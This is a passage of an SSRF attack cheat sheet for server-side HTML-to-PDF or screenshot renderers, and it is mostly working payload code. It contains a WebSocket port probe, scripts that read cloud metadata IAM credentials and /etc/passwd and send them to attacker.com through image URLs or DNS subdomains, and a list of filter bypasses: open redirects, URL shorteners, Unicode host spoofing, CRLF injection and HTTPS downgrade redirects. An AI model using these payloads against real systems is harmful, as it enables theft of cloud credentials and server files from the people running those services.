<!-- WebSocket for port scanning -->
<script>
var ws = new WebSocket('ws://127.0.0.1:6379');
ws.onerror = function() { document.title = 'closed'; };
ws.onopen = function() { document.title = 'open'; };
</script>

<!-- DNS prefetch for OOB exfil -->
<link rel="dns-prefetch" href="//data.attacker.com">

5.4 PhantomJS (Legacy but Still Found)

<script>
var page = require('webpage').create();
page.open('http://169.254.169.254/latest/meta-data/', function(status) {
  console.log(page.content);
  phantom.exit();
});
</script>

5.5 Detection Fingerprints

5.6 Exfiltration When Output Is Not Visible

If the PDF/screenshot doesn't show the fetched content directly:

<!-- Exfiltrate via external request with data in URL -->
<script>
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(t => {
    new Image().src = 'http://attacker.com/exfil?data=' + btoa(t);
  });
</script>

<!-- Exfiltrate via DNS (longer data) -->
<script>
fetch('file:///etc/passwd')
  .then(r => r.text())
  .then(t => {
    var encoded = btoa(t).substring(0, 60);
    var img = new Image();
    img.src = 'http://' + encoded + '.attacker.com/';
  });
</script>

---

6. ADDITIONAL BYPASS TECHNIQUES

6.1 Open Redirect Chaining

http://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/
http://trusted.com/login?next=http://169.254.169.254/latest/meta-data/

If SSRF filter allows trusted.com and trusted.com has an open redirect → bypass.

6.2 URL Shorteners

# Create short URL pointing to metadata endpoint:
https://bit.ly/XXXXX → http://169.254.169.254/latest/meta-data/

# Filter sees: bit.ly (allowed domain)
# HTTP client follows redirect → internal IP

6.3 Enclosed Alphanumeric Characters

# Unicode enclosed letters that normalize to ASCII:
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ → http://example.com
http://①②⑦.⓪.⓪.① → may resolve to 127.0.0.1

# Fullwidth characters:
http://１２７．０．０．１ (fullwidth digits)

6.4 CRLF Injection in SSRF

If the URL is used in a raw HTTP request:

http://attacker.com/%0D%0AHost:%20169.254.169.254%0D%0A

May inject additional headers or split the request to reach internal services.

6.5 Protocol Smuggling via HTTPS → HTTP Downgrade

Some libraries follow redirects from HTTPS to HTTP, losing TLS:

https://attacker.com/redirect → 302 → http://169.254.169.254/

If the filter only allows HTTPS URLs but the client follows HTTP redirects → bypass.